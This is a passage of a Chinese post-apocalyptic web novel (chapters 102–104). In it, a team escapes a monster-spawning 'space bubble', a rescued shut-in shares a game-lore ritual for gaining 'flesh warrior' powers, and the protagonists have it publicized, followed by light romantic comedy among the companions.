众人略带着几分呆滞踏上了被江朗放下来当踏板的集装箱后门。 走进内部后就发现，确实如同江朗所说，什么都有，两排的冰柜，整整齐齐地堆叠着，冰柜像是直接从超市里搬运出来的一样，从蔬菜到水果到肉类到海鲜到甜点到速冻食品应有尽有。 “牛逼……” 肌肉男忍不住转头过来朝江朗比了两个大拇指。 众人的心态瞬间放平了，就这些食物，估计都够他们在空间泡里躺平一年了，就算真的短期出不去，也死不了，甚至感觉怎么看都比在外面过得好…… 肌肉男心中甚至快速闪过了一个让他颇有些罪恶感的念头——他能不能祈祷这个空间泡的问题晚点再浮现，让他在里头多蹭会儿江朗的食物…… 众人挑了点食物，虽然江朗说随便挑，不过他们还是很克制地只选了一些没那么罕见的食物，几乎没选新鲜食物，唯一的放纵点可能是人均忍不住拿了瓶冰镇可乐走。 陆燃和江朗重新将集装箱后门合上，然后江朗把集装箱又收了起来。 肌肉男左手拎着可乐右手拿着速冻水饺，忍不住感慨了一句： “不是哥们，你们都这么富了为什么还要做任务？？你们这日子过得和末世前相比都没什么差别了吧！” 江朗诚恳地回答：“总要考虑收支平衡，A市物价那么贵，工作总得积极一点。” 包括肌肉男在内的所有人：“……” 第102章 第 102 章 啊？发生什么了就出来…… 空间泡内不分日夜, 原本就是因为空间限制而显得有些昏暗的模样，所以哪怕手表显示已经过去了六个小时，空间泡内的光线也还是那样。 不过他们倒是真的该吃饭了。 陆燃没打算暴露地狱之火的存在, 而且也不需要他暴露，小队对于需要野外生火吃饭的场合已经非常熟悉了。 梁凌默默从背包里先掏出一堆柴火, 然后再掏出一堆晒干的……不知道什么纤维型污染物的尸体, 然后再拿出一口锅架起来，期间西装男顺便往上面洒了点酒精，最后梁凌掏出了打火机进行打火。 秦暮楚顺便往锅里开始倒水。 一锅一锅煮。 肌肉男选了水饺，煮起来最快也最干净几乎不用洗锅, 所以他先来。 煮完他的水饺之后, 梁凌自己煮了个锅面。 洗完锅后就轮到西装男和秦暮楚还有陆承周胤他们了, 他们一起选了个火锅底料, 又各拿了想吃的火锅底料，陆燃和江朗看他们打算吃大锅炖的火锅, 就也抓了些食材, 懒得思考选择直接参与了。 于是最后锅里就是一堆大杂烩。 吃完后原本西装男还打算组织大家来个篝火会谈，但是因为吃了太久以至于江朗捞完最后一只虾饺之后, 柴火也差不多快烧完了。 于是西装男只好纠结地放下自己的组织欲, 遗憾地让大家散场了。 装甲车内部虽然不太舒服，但是都是末世后生存了那么久的人, 只要有个位置能睡觉就已经算是不错的条件了。 陆燃和江朗原本打算拿出露营帐篷, 不过考虑到装甲车自带防护, 就算万一半夜突然有污染物围攻, 装甲车本身也算一道防线，真睡帐篷的话还得有人守夜，于是他们就放弃了, 直接在装甲车后座上盖了条毯子开始睡觉。 应该是半夜的时候。 陆燃和江朗突然睁开了双眼，窸窸窣窣的声音从外部传来，陆燃掀开毯子，推开车门，江朗揉着眼睛跟在他身后一起走了下来。 然后他们就看见了一大片的骷髅和幽灵慢慢地从地底冒了出来。 陆燃，江朗：“……” 好强的既视感。 甚至当初的那些藤蔓至少还要从幼苗状态长起呢！ 这些骷髅倒好，直接从地底冒出来就是完全形态。 跟在他们身后走下来的其他人：“……” 好变态的空间泡！ 好过分！ 重生能力是不是太过分了！不知道还以为这些骷髅和幽灵才是玩家呢！ 肌肉男迷茫地问：“现在怎么办？再打一遍？” 其他人没回答，他们其实不觉得这有用，总感觉再打一遍，过一晚，这些东西就又会重生复活啊…… 但是他们又没有什么除了再打一遍的更好的想法，所以干脆保持沉默了。 直到陆燃开口：“大概率没用。” 然后他继续说道：“这些类似幽灵的污染物能被我和江朗的技能控制和伤害，它们有可能类似于游戏中的亡灵设计，如果真有共同点的话，它们的弱点可能和游戏里差不多，在高烈度的阳光下持续不了太久，以及如果操纵它们的亡灵法师消失了就失去了存在的基础。” 秦暮楚：“但是空间泡里没有太阳，而且我们也没有看见任何亡灵法师……或是之类的存在，你们之前已经把这里的所有活物都杀死了。” 陆燃：“是的。” 他抬起头。 然后问：“周胤，你的巨大化最大可以到什么程度？” 周胤：“？” 他诚实地回答：“大概十五米的高度？” 陆燃：“那差不多可以到上方的岩壁了，虽然四周的岩壁都因为结界的存在无法触碰到，但上方的也许可以？试试看打破它吧。” 其他人讨论了一下，也觉得这至少是个尝试方向，于是开始讨论起到了周胤到了上方之后该怎么打破岩壁。 周胤先是直接将自己的异能用到极限，在众目睽睽之下长到了十五米高，然后抬起手，大伙在下方看他的手臂大约离最上方的岩壁还有多远——顺便确认了上方好像真的没有空气墙存在。 “也许我可以在周胤手上试着用异能攻击？” 秦暮楚先提出一种可能，她的水系异能攻击范围还是挺广的，虽然不可能在地面直接攻击到上方的岩壁，但如果有周胤作为平台那可能就可以了。 陆承从装甲车后部搬出来了一个火箭筒：“秦姐，把这个带上，万一不行的话就试试这个，不过小心安全，不到万不得已别用，毕竟万一攻不破的话伤到你们就不好了。” 秦暮楚接过火箭筒，点了点头。 “嗯，待会儿我上去之后你们也离远点，如果我真的要用到火箭筒，万一它坠回来你们也很不安全，虽然我肯定会选角度，不过你们也还是当心点吧。” 众人都表示明白。 于是周胤缩小到了大约一层楼高，蹲下身让秦暮楚站上他的手掌，其他人自觉远离，然后周胤再次恢复到了最大高度，并举起了手。 秦暮楚向下瞟了一眼，十五米的高度外加一点都没有的安全措施，再加上周胤的手还不是很稳……多少有点颤颤巍巍的，再加上就算周胤手不颤，手掌本身也是在不是什么适合人稳定站立的地方，总而言之，秦暮楚忍不住深吸了一口气，将注意力完全集中在了距离她还有很长一段距离的天花板上。 她先是用自己的异能攻击了一下。 但很遗憾，她凝结成的水柱无法在那么远的距离下依旧保持冲击力。 不过至少验证了天花板是可触碰的，中间没有空气墙，她可以使用火箭炮暴力轰开了。 秦暮楚深吸一口气，稍微退后几步，调整了一下角度。 然后—— “轰！” “轰！” 两发下去，天花板真的被轰出了一个大洞，秦暮楚瞬间振奋了起来，周胤则很努力地控制着自己的生理反应，不要因为落下来的碎片随意移动，乖乖地当着那个人形平台。 秦暮楚再次瞄准了刚刚 “轰！” 又一发。 而这一次，上方的岩壁被彻底轰开了！ 秦暮楚有些兴奋地放下手中的火箭筒朝前跑去，朝那个大洞看去！ 只是……当她真正能看见那个大洞后的东西时，她的脸色有点僵。 岩壁之外，是另一层岩壁。 草！ 秦暮楚瞬间有些恼怒，这空间泡有病吧？搁这培育洋葱呢？ 而且那另外一层岩壁显而易见隔得太远了，别说她的异能，估计已经超出了这个火箭筒的射程，而且不好说中间有没有出现空气墙隔层。 看见了秦暮楚轰炸出来的大洞后的情形的又不止她一个人。 老实充当着人形平台的周胤：…… 这完全不值他挨了一头碎石还纹丝不动的努力啊！ 下方的众人更是有些无语，这空间泡的构造简直就像是知道自己的弱点所以全部提前规避了一般。 周胤无奈地缩小回了一层楼高度，将秦暮楚放下在地上，然后彻底变回了正常大小。 周胤眨巴着大眼睛：“现在我们该怎么办？” 众人齐齐看向陆燃，不知何时开始，他们好像就已经自然地习惯了听陆燃的意见，然后让陆燃拿主意。 只是这一次，陆燃也拿不出主意。 他沉默了一会儿，平静地开口：“看来我们走进死胡同了。” 他的语气平静得就像在说“今晚吃火锅”一样，因此也更令人绝望，好在他们确实一时半会儿饿不死，绝望就绝望一下吧。 江朗：“既然如此，你们先回去睡觉吧，我和陆燃把污染物清理一下。” “我们也来帮忙吧……” “不用，反正我们的攻击都是区域式的。” 其他人不得不承认江朗说得的确是对的。 秦暮楚原本想说她的异能还有柯平信的酒系异能都可以当防守异能用，只要他们俩轮流守夜，就不需要清理污染物，只需要防守即可。 不过她立刻就意识到自己的想法有多大漏洞了，她的异能无法对这些幽灵一样的污染物造成攻击，自然也就无法防守它们。 柯平信的异能也是如此。 她叹了口气，没想到这次的任务会这么古怪，早知道当时就不该给团队接下这个任务，现在反而要如此辛苦两个中途加入的新人。 陆燃和江朗倒是完全没觉得这怎么辛苦了。 他们俩早就习惯了平推各种污染物，而且这些新生的污染物还有晶体，就当是个重复刷新怪物的刷怪点了，如果换在游戏里就是个完美的刷级点呢。 不过这也说明之前消失的那些污染物确实是消失了，这个空间泡真的很怪。 陆燃和江朗熟练工一般清理了整个空间泡的污染物就回去接着睡了。 那之后也是如此，众人一天天地起床，去江朗的集装箱里挑选今日食材，生火煮饭，吃饭，讨论各种各样但凡有点可能的出逃路径，然后再吃饭，然后再睡觉，中途穿插着陆燃和江朗的刷怪。 转瞬间就是快一周过去，他们吃饭间提出的可能解决方案都逐渐朝着科幻方向而去了，事态也没有任何好转。 就在所有人都开始暗中忍不住怀疑自己是不是这辈子剩下的时间都要在这个空间泡内度过了——以及这到底是好事还是坏事呢？如果江朗一直能拿出来物资的话好像怎么想都是他们占便宜吧……——的时候，事情却出现了转折。 这天，陆燃和江朗照旧在车后座团成一团睡觉。 然后车外传来了窸窸窣窣的声音。 江朗一边揉眼睛一边吐槽——又来了。 而且这些幽灵和骷髅重生也不能固定个时间吗……每天都在稀奇古怪的时间重生，他和陆燃甚至没法养成生物钟。 好几次都是吃饭吃到一半突然就要开始打怪。 睡觉被吵醒更是已经习以为常。 他一边内心吐槽一边掀开毯子准备战斗，然后他呆住了。 因为从车窗内向外看去……外面这什么情况？！ 江朗一脸呆滞地看着车窗外……的天光一片大亮，天上熟悉的红日洒落下熟悉的光芒，而周围开阔的场景也很明显地显示了他们已经离开了空间泡。 江朗：“？？？” 他快速地把陆燃摇醒，然后喊醒了前排的陆承和周胤，又去把另一辆车上的几个人都喊醒了。 所有人都一脸迷茫地站在车旁看着这片熟悉的区域，这里就是他们进入空间泡的地方。 但是他们是怎么出来的？ 这个问题没人能想得明白，难不成空间泡能生产的亡灵和骷髅污染物就那么些，而现在到数量了所以空间泡就消失了？ 但是也不对啊，陆燃和江朗也在睡梦中，他们肯定没有去消灭“最后一批”污染物。 所以到底发生了什么……空间泡呢？他们那么大一个空间泡呢？ 虽然成功出来了很好，但是众人脸上全是迷惑的神情。 然后他们突然发现了不对。 “等等，那是什么？” 陆承突如其来地指向了其中一个方向。 所有人齐齐朝那边看去，然后他们看见了在乱石与丛林掩映之间，正飘着一只阿飘。 所有人都瞬间睁大了眼睛。 “这……这玩意儿不会是从空间泡里跑出来的吧？” 周胤颤颤巍巍地说道，语气中的恐惧几乎毫无遮掩。 而发现了这只阿飘后，他们就注意到了更多的阿飘与骷髅。 这一只那一只的，四散在各个方向。 西装男的脸色瞬间严肃了起来：“我们得快点回A市去报告这个情况，让大家都警惕起来，万一……就完了。” 他没把话说出来，但在场所有人都想到了那种灾难性结果。 他们这个小队算A市中实力顶尖的那批——不然也不会自信接下空间泡任务，所以他们可以放心大胆地住在一群污染物中，但A市其他异能者不一定能承受得住这种攻击。 八人立刻迅速回到了各自的装甲车上，风驰电掣地朝A市驶去，准备向A市汇报这个奇怪的空间泡的情况以及提醒所有人小心被围城。 两辆装甲车在空旷的公路疯狂前进，轮胎发出阵阵抓地的摩擦声，偶尔直接切入没有任何路面的捷径，只为了保证它们能以最快速度到达A市. 一阵刺耳的轮胎摩擦地面的声音后，西装男和秦暮楚两个人立刻跳了下来朝写字楼内走去，准备汇报这次已经不能说是失败而是灾难了的任务——不过如果想一想，就算他们没有接下这个任务，这个空间泡也依旧可能还是会自然消亡自然地涌出污染物，那时候A市毫无知觉的情况下事情或许会更糟，他们接下这个任务至少让大家有了一定的信息优势……这可能就是不幸中的的万幸吧。 两个人一脸严肃地走入写字楼内，向负责记录和转达消息的招待员 一向满脸不耐烦甚至带点困倦神色的，看上去就像是压根不想干这个工作的招待员业罕见地挺直了脊背，一脸严肃地站起身，看上去几乎气势逼人。 他携着这种恐怖的气场逼问了西装男和秦暮楚几句，然后快速地离开了。 而写字楼外，装甲车边则站着小队的其他成员。 肌肉男和周胤不是那种擅长掩盖情绪的人，焦虑与忧愁肉眼可见地摆在脸上。 陆承稍微好些，只是深深地皱着眉。 陆燃不知道在想些什么，只是平静地站在原地，似乎在发呆。 另一个看不出在想什么的人是梁凌，这个沉默的言灵者始终没有出过声，神色也看不出有什么心情。 江朗也在发呆，他的思绪到处乱飘，最后飘回了一个念头——他和陆燃不会又要打基地保卫战了吧？ 他现在有点怀疑是不是他和陆燃霉上加霉才导致了这种事。 想想很有可能吧……他和陆燃这一路经历的叫什么什么事啊，C市还算正常，本来就是腥风血雨之地，他们只是特意跑去了这个死亡领域而已，但是刚出C市就遇上了他见过的最离谱最强大的空间泡，然后刚到Q市就遇上海岸小区被复制型老鼠围攻，然后现在又……他是认真地思考难不成是他们太霉了才导致A市有此一劫？ 不过他还没来得及想出个所以然，秦暮楚和西装男就从写字楼里走了出来。 原本靠在装甲车上皱眉思考的陆承直起身，问：“怎么说？” “我们已经尽到告知义务了……剩下的就看情况了，我们也做不了什么了。” 于是装甲车小队就这样散开了。 那之后陆燃和江朗基本都没再去接任务，一方面是因为他们两人在这个亡灵与骷髅的空间泡内刷了太多太多晶体，以及这个任务虽然严格来说怎么想都是个大灾难，但空间泡确实消失了，他们也确实完成了探索任务，所以任务奖励还是发放了下来，而他们俩作为任务的主要完成者，所以基本分到了这700晶体的大部分，短时间内他们俩应该都不用考虑赚晶体的问题了…… 另一方面也是因为需要尽量保持处于A市基地内部以随时应对那些可能到来的亡灵与骷髅。 尤其是江朗还在默默怀疑是不是自己太霉了给A市带来的灾难，更是每天都很警惕，日常在在A市边缘巡逻，看看有没有骷髅大军和亡灵大军攻城。 只是他巡逻了将近十天，想象中的骷髅大军和亡灵大军兵临城下的场景依旧没有发生。 而装甲车小队的其他人也有点迷茫，怎么蛰伏警惕这么多天，却无事发生呢？ A市明明就是附近人最多的聚集点，这些污染物突然涌出，怎么想都应该往A市这边来吧。 人呢？哦不对，鬼呢？ 迟迟未来的攻击让大家的警惕与戒备都有些懈怠，原本风声鹤唳的A市实在没法一直维持紧绷状态，于是大部分人又都放松了下来，爱出来走动交流的继续走动了，想去做任务的也接着去接任务的。 江朗和陆燃倒是完全没离开，依旧每日兢兢业业地替A市其他人进行着巡逻。 然后……他们突然见到了一个熟悉的身影。 “咦？” 江朗拉了拉陆燃，示意他看一个方向。 陆燃转过了头，只看见了一个看上去非常普通的年轻男人，他快速扫视了一下对方，看不出任何特别之处，长相，穿着，动作，看上去都非常普通。 于是他问：“这人怎么了吗？” 江朗：“……我们在C市救过他啊！” 虽然有了这个提示，陆燃又重新扫视了一下对方，然后终于将这个身影和C市的经历对应了起来。 哦，那个宅男，痛心疾首自己怎么没玩《神域》的那个。 江朗颇有些兴奋地拉着陆燃朝对方走去。 “嘿！” 他突如其来的一声招呼吓了该宅男一跳，整个人差点弹了起来，一脸惊恐地转过身来，然后双眼间猛地迸发出了兴奋的光芒。 “大佬！！！你们怎么在这？！！” 第103章 第 103 章 宅男哥的发现 江朗猛地拍了他一下, 问： “你才是怎么在这？！” 说老实话的话，他还以为这个他们前期救下来的宅男已经……呃，死掉了。 因为后期C市所有人几乎都聚集在了一起, 然后在柳寒的保护和刘雅的带领下一起离开了。 没在的应该都是前期他们救下来的或者自己脱困的异能者，早早就离开C市这个修罗场自寻生路去了。 而这个宅男哥又没有异能, 所以江朗就默认他已经死在哪个污染物手上了。 所以此时发现他还活着, 江朗的兴奋是实打实的。 宅男挨了江朗一下重锤，倒是没什么反应，一样兴奋地说： “大佬你们把我救下来之后，我就觉得, 唉, C市不宜久留啊, 这地方人太多了, 人多就意味着怪多，怎么想我都会死得很惨啊……然后我就光速溜了, 中途那叫一个路途坎坷, 最后终于找到了A市这么个有秩序的地方！然后我就重新宅起来了……最近听说附近可能会出现大批污染物，我才出来看看思考要不要换个据点……” 陆燃, 江朗：“……” 怪不得他们来A市这么久了才刚看见这个熟人, 敢情他在A市也宅。 不过还是很奇怪。 江朗：“你从C市到A市过来路上很辛苦吧？那么多污染物你是怎么避开的？” 宅男突然“呃”了一下。 然后他鬼鬼祟祟地看了眼周围，确认没人之后, 才突然靠近了陆燃江朗两人, 然后小小声地说： “其实……是这样, 大佬们你们不是说你们的技能是因为玩了《神域》就自动有了的吗？” “然后我虽然没玩过《神域》, 但是你们离开后我就想起来了，我之前收过《神域》的设定集，虽然当时完全没看, 纯是觉得他们的美术设计很好看，虽然买了之后也确实没看，呃，扯远了，总而言之，你们走了之后，我就把那本设定集翻出来了——幸好还在。” “然后我就开始看设定里各职业的转职手续，或者说加入各个教会的程序，或者说向各个神明献上信仰的方式 。” “大部分都不可行，因为需要各种各样乱七八糟的显然现实世界里不存在的东西。” “但是！我发现血肉战士的转职几乎不需要什么媒介，只需要通过忍耐痛苦的考验就行了。” “设定集里写，要成为血肉战士，必须经过三道程序，分别验证你可以承受皮肉痛苦，血肉痛苦，深入骨髓——字面意思的那种——的痛苦，并且全程保持对母皇的信仰。” “我觉得吧！完全值得一试啊！” 陆燃，江朗：“？” 听起来怎么都不是“完全值得一试”啊！ 他们两人脸上齐齐闪过一丝迷茫。 但是总之，宅男哥就是这样一个颇具实验精神，对超凡能力满心向往，并且真的能为了这样的理由认真诚恳地信仰母皇，以及真的就这么通过了这个听起来怎么都觉得离谱的考验……的人。 宅男哥挠了挠头：“所以我就转职血肉战士了，虽然没装备，也没出现游戏背包什么的，但至少有技能了，也不用担心被污染物污染了，不过运气也好，我从C市到A市的路上，一路上遇到的污染物几乎都是落单的，就勉强算是顺利地过来了，虽然过来了之后我深感这纯是我运气比较好，我就找了个市中心的位置住下了，毕竟市中心住的异能者们比较多，他们一般会维护市中心的环境——意思是看见污染物就顺便杀了。” “总之因为日子过得比较舒坦，我就一直宅着了，而且我也不太敢出来啊，虽然我填的异能是血肉战士，但是万一有人问我装备呢，那咋办，我要是说装备被人抢了的话，那不就更让人觉得我很菜吗，那他们没准就更想揍我抢东西了……” 江朗：“你有考虑过公布普通人也可以转职血肉战士的方法吗？” 江朗的话及时地将宅男哥飘逸的思路拉了回来。 宅男哥再次鬼鬼祟祟看了眼四周，然后痛心疾首地小声说道：“当然想过啊！” “我这条小命就是两位大佬你们好心救下来的，我当然也想做点，呃，回馈社会？之类的事……但我不敢啊！” “还是那句话，我如果跑去跟人说其实普通人可以通过仪式变为血肉战士，然后他们一看——诶？你这个人就是既是血肉战士又没有游戏装备啊！你肯定是个软柿子！捏了！” “所以我抓心挠肺啊！我既想找个大喇叭对所有人宣布，普通人也可以转职为游戏玩家，又不敢……我真的太怂了……” 宅男哥诚恳地剖析了一下自己真的很怂这件事，然后突然灵光一闪： “不如大佬你们去告诉其他人吧？” “对啊！你们去就很安全啊！反正也没人知道我在哪，我只要一直宅着一直宅着，其他人也不会知道我具体是什么职业！没错！就是这样！” “走走走，来来来，我去给你们拿《神域》的设定集！” 宅男哥瞬间兴奋了起来，拽着江朗——他不敢拽陆燃——就往自己在A市的住所走了过去。 “在哪呢……在哪呢……我靠，我开车从C市走的时候把我的所有漫画和设定集和小说都带上了，唉，不然就算活下来做人又有什么意思呢？诶找到了！” 宅男哥兴奋地举起一本超厚的设定集，熟悉的封面让陆燃和江朗瞬间想起了《神域》的官网。 宅男哥快速翻到转职设定的血肉战士那一页： “我把这页剪下来给你们哦……人设图应该对传播没什么影响，我也剪下来了哦，我还要收藏的……” 陆燃，江朗：“……嗯。” 宅男哥小心翼翼地剪下了最小部分的血肉战士转职设定，眼中闪过一丝心痛——他花了三百块买的精装设定集呢！算了……算了……拯救人类要紧…… 然后他心痛不已，依依不舍地将这张纸递给了江朗和陆燃。 陆燃离他更近些，顺手接了过来，扫了一眼。 江朗则突然严肃了起来：“我代表之后所有可能因此而受益的普通人对你表示感谢。” 宅男哥挥了挥手：“没事啦……只要他们别暗地里骂我怎么早不拿出来就行了……” 那之后。 陆燃和江朗带着这张珍贵的设定集来到了熟悉的写字楼。 熟悉的招待人员不耐烦地稍微抬起了头：“兑换物资还是接任务？” 陆燃：“我们之前看到可以向你们提供物资对吗？” 接待人员态度瞬间好了不少：“是的，请问两位想要提交什么物资呢？” 他那张怎么看怎么显得刻薄加烦躁的脸庞上很努力地挤出了一个属于服务行业的笑容。 A市的物资很贵，而提交物资获取晶体的兑换汇率与用晶体换物资的汇率是完全一致的，也就是说在收物资这块上，A市完全赚不到什么，更不可能倒卖物资，但是即使是这样，他们也对任何愿意提交物资的人态度相当良好，因为实在没什么人愿意反向向他们提供物资，A市大部分的物资都是去其他地方打来的。 陆燃拿出了一张纸。 接待人员颇有些迷茫地从他手中接过了那张纸。 这算什么物资？ 他低头读了一下，呃，好像是《神域》这个游戏的设定，可能是从设定集里撕下来的吧，然后呢？ “这是血肉战士的转职方法。” 接待人员：“我看出来了。” 陆燃：“不，你没有，我们的意思是，这是现实里转职血肉战士的办法。” 接待人员愣了一下，有那么一瞬间，他觉得自己可能没听明白或者没听清对方在说什么。 然后这句话的意思后知后觉地进入了他的大脑。 然后轰然炸开。 “什……什么？你什么意思。” 陆燃：“就是字面意思，如果普通人愿意照做，就一样可以通过游戏里的方式，也就是这张纸上的方法转职血肉战士，异能者也许也可以吧，不过我们也不清楚，目前为止只有一个原本没异能的人成功了。” 接待人员：“！！！” 接待人员：“真有人成功了？！” 陆燃：“嗯，不过他不愿意透露自己的身份，也许你能明白为什么，但我们可以保证，这个方法确实是有效的，而且已经有人实践过了。” 接待人员有些控制不住自己的震撼表情。 他又看了眼手中的纸——虽然这玩意儿现在在他眼里已经完全不仅仅只是一张纸了，然后才重新磕磕巴巴地开口：“你们想换多少晶体？” 说实话他觉得他们想换多少都可以，因为基地一旦拥有了让普通人变玩家的方式，多少晶体都能赚回来，多的是有人愿意兑换这个方法。 以及他下意识地觉得这俩人也太没有防范意识了，这么重要的东西就直接递到了他眼皮子底下，他刚刚看了两眼已经把关键的内容全记住了，虽然他和A市肯定不会私吞，但是他还是觉得这两人防范意识有点太低了。 “五千晶体。” 接待人员刚想起身怒骂他狮子大开口，就算这法子确实珍稀确实值得换大价钱，但五千晶体也太……！他以为晶体是硬币啊？！ “我们给你们五千晶体，要求是我需要你们向所有人公布这个方法，不光是A市所有人，我知道你们肯定有自己的通讯渠道，不管是任务发布还是任务结果的汇报，你们应该和其他基地有联系吧，把这个讯息传达到所有基地。” 接待人员又呆住了。 “你们……呃，你们确定要向所有人公布这个方法？” “还要花” 陆燃迷惑地皱了皱眉：“我讲得不清楚吗？” “不！不！非常清楚！” 接待人员连连摇头，他重新做了下来，掏出纸笔：“呃……好的，五千晶体换传播转职血肉战士的方法，好的，明天开始就会执行，两位请问还有什么要求吗？” 陆燃和江朗对视了一眼：“没有了。” “然后这是五千晶体。” 陆燃话音刚落，江朗就立刻从背包中取出了好几个盒子。 层层叠叠地“砰”地一下落在了桌上。 “每盒五百晶体，总共十个盒子，你要现场点一下吗？” 接待人员打开最上面那个盒子，然后被密密麻麻的晶体搞得密恐差点发作，他简单看了一下十个盒子里确实都是晶体，说道：“不用了，我相信肯定没问题。” 废话，这俩人都大款到随便把能让人普通人变为游戏玩家的方法随便往外发了，肯定也不会抠门那几个晶体。 第104章 第 104 章 你是陆燃对象吗？不是…… 替宅男哥搞定宣传转职血肉战士的方法后, 陆燃和江朗无事一身轻地从写字楼走了出来。 这一出来，就撞上了熟人。 “咦？陆承，周胤！” 江朗兴奋地朝这两个并肩作战过的战友招手。 他的招呼声瞬间让这两个本来在低头说话的人转过了头。 陆承眼中也闪过一丝兴奋的光芒。 “你们好啊, 也来接任务吗？” 他说话的时候正朝着陆燃，陆燃感觉不回答也不太礼貌, 就摇了摇头。 江朗：“没, 暂时还不打算接任务，你们呢？” 周胤叹了口气：“我们不能不接任务啊，再不接任务要饿死了……” 他幽幽地看向江朗：“你们俩富哥不会懂的……” 江朗挠了挠头，嘿嘿一笑。 陆承还在试图和陆燃搭话, 虽然陆燃到现在为止一个音节都还没有发出过： “还是没看到之前那个空间泡的污染物啊……你觉得它们可能去哪了呢？” 陆燃稍微思考了一下：“很难说, 不过看着应该是短期内不会来A市了, 你们出去执行任务的时候或许关注一下附近有没有类似的污染物。” 陆承的双眼立刻亮了起来, 他笑了起来，桃花眼弯了起来： “好啊, 如果发现什么迹象的话, 我一定第一时间通知你。” 陆燃点点头，江朗也在旁边认真地点了点头：“好啊好啊, 靠你们了, 辛苦了！” 陆承这才看向江朗，笑了笑：“举手之劳而已。” 四人两组简单地交换了一下信息后该往前的往前, 该离开的离开, 江朗刚摸到车钥匙, 突然说道： “等等, 我去问问可乐的市价。” 江朗一脸认真严肃地说： “可乐该补充了。” 陆燃：“……” 他也没说什么，先上副驾坐着了。 江朗急匆匆地光速冲向了写字楼，然后他还没来得及跑进去, 就听见陆承和周胤的声音从里面传了出来。 “你这什么毛病？就爱追名草有主的？” “你这话怎么讲的呢？只是我想追的人都恰好有对象而已。” “人家看上去挺恩爱的，你就别横插一脚了。” “……” 他们两个人的声音轻飘飘的，像是从很远很远的地方传来的一样，很明显是压低了声音在说话。 “我说你这人，再怎么样我也喝了江朗十瓶可乐，不行，我得阻止你撬人家墙角，反正有我在，我是坚决不会让你靠近人家小情侣一步的！” 江朗迈到一半的脚步瞬间僵在了原地。 啊？ 啊？？？ 等等，谁和谁是小情侣？ 他一开始听见陆承和周胤的对话，脑子里只是轻飘飘地飘过一句“没想到陆承是人.妻爱好者”…… 但是——啊？？？ 等等？陆承想追的人是陆燃？ 等等？他们觉得他和陆燃是一对？ 他一时间都不知道该从哪个方向惊讶起了！！ 等等，怪不得周胤的用词是“名草有主”啊！ 等等，那陆承之前一直找陆燃说话？！！ 陆承和周胤目标明确地接完任务，转身就撞上了一脸呆滞的江朗。 周胤瞬间就睁大了眼睛，脑中闪过一句“完了”。 陆承倒是心态良好，他也不是头一次当着别人面撬墙角了。 他的异能是瞬移，打不过难不成还跑不过吗？ 周胤一脸惊恐，小心翼翼地问江朗：“你……你听到了多少？听我说！哥们！我这哥们确实有点爱当小三的小毛病，但是你信我，我绝对会管好他的！” 江朗：“等等……” 周胤：“总之你就放心吧！而且你看陆燃对他多不加辞色，你就放心吧！这小子想撬你墙角绝对没机会！” 江朗连忙挥手：“等等，等等！我和陆燃不是一对！” 陆承眼睛瞬间一亮：“真的？” 然后他立刻笑眯眯地转向周胤：“你看我就说嘛，我就说他们俩看上去是纯正兄弟情嘛！我现在追人没有道德问题了吧？你这人真麻烦，都末世了还跟个老古板一样。” 江朗：“等等啊！陆燃不喜欢男生！以及顺便一提……我也是直男……虽然你们应该不是很关心……” 这下陆承和周胤都看向他了。 周胤小心翼翼地问了句：“你确定吗？” 陆承比他直白得多：“我们从空间泡回来那天，苏姗正好从写字楼出来，从我们面前晃悠了过去，在他面前晃悠了一下他眼睛都没动一下，我确信他肯定不是直男。” 江朗一脸茫然：“苏珊是谁？” 陆承：“那天有个前凸后翘，长得和女明星一样的美女从写字楼走出来你没看见吗？” 他和周胤脸上同时露出了一种难以言喻的神情——哥们，你真的也不怎么直。 江朗很努力在脑海里挖掘了一下回忆，不过他其实和陆燃待久了之后就也不太注意到周围的事，而且这可是末世啊！老关注周围环境会神经衰弱的！他觉得他的理由很充分！ “呃，你们不了解陆燃，他是那种几乎不会注意到外界环境的人……” 他在对面两人的注视下声音越来越小。 “好吧，陆燃他可能确实不喜欢女生……但也不喜欢男生……陆燃他就是，他就是，谁都不喜欢……” 对面两人质疑的眼神已经逐渐转为了好奇，他的声音又重新小了下去——他怎么知道陆燃谁都不喜欢呢？ 确实，陆燃从小都对任何追求者都不假辞色，从小到大拒绝过的人加起来可以组成一个连，没被拒绝但被无视了的人加起来更是可以组一个营，他以前从来没觉得奇怪过，毕竟他们在上学嘛！陆燃是孤儿，需要奖学金才能生活，而且也要考很好的学校才能保证以后过得上比较安稳舒适的生活。 所以肯定不会有那个心思早恋的，这不是耽误他的学习时间嘛！ 但是现在他们已经没在上学了…… 甚至现在是末世！末世啊！ 末世里，就算本来一心搞事业无心恋爱的人，很多人也会找个伴侣，或者至少找个临时伴侣，毕竟是过了今天没明天的环境，很多人都从常规生活的长远打算模式直接切到了及时享乐模式。 而且生存压力太大了，总要找个人倾诉，或者不倾诉，有个人存在在身旁也是好的，会让人不会有种自己是地球上唯一一个还活着的生物的错觉。 很多人都是为了对抗那种如同黑夜一般降临在自己身上的孤独感才去找了个伴侣的，毕竟那种孤独强势到无法抵挡，只能靠外力缓解。 但是陆燃不需要陪伴啊，他们不是一直在一起吗？ 但是朋友和恋人还是不一样的吧…… 万一陆燃哪天觉得他想谈恋爱呢？ 江朗想象了一下那个场景，陆燃身边陪着一个小鸟依人的女孩……然后陆燃一脸温柔地看着对方…… 靠！完全想象不出来啊！这ooc了吧！ 他完全想象不到陆燃能温柔地看向任何人的样子，不行不行，就算陆燃要谈恋爱的话也绝对不能是他哄别人，所以女生pass，那些没谈过恋爱的不会哄人的男生也pass！陆燃哪有这个闲工夫管他们的心情！都pass！ 这个男的……也pass！他本来确实觉得陆承是个还不错的战友，但是战友归战友，他一看就是那种情场老手，不是良配，pass！ 不过其实他不用完全担心吧，陆燃本来就不搭理人的，就连他当初也是因为太不会读空气了持之以恒地在陆燃身边蹦跶才被他接受为朋友的，其他人要么自尊太高要么自我意识太强的，在陆燃身边估计都扛不住一轮就要捧着玻璃心跑了，就像末世前想追陆燃的那些人——鄙视这些人！不是说要追陆燃吗？怎么连他的无视都受不了！狠狠鄙视！ 但是……但是大家都说，人一旦谈了恋爱，那就跟换了个人一样，会彻底昏了头失去理智，万一哪天陆燃喜欢上一个人呢？也许他会收起自己所有的冷淡，对对方好，甚至是无微不至地关心…… 太可怕了！！ 光是想象一下，江朗就觉得一股恐惧直接从脊椎冲上了他的大脑。 “总而言之！陆燃他就是谁都不喜欢！” 江朗快刀斩乱麻式斩断脑内所有的可怕想象，丢下这么一句话就急匆匆离开了。 他心乱如麻地回到他和陆燃的车上，坐下后看着方向盘，发了会儿呆。 陆燃随意地靠在车窗上，看他上车，问了句：“怎么样？可乐怎么换的？” 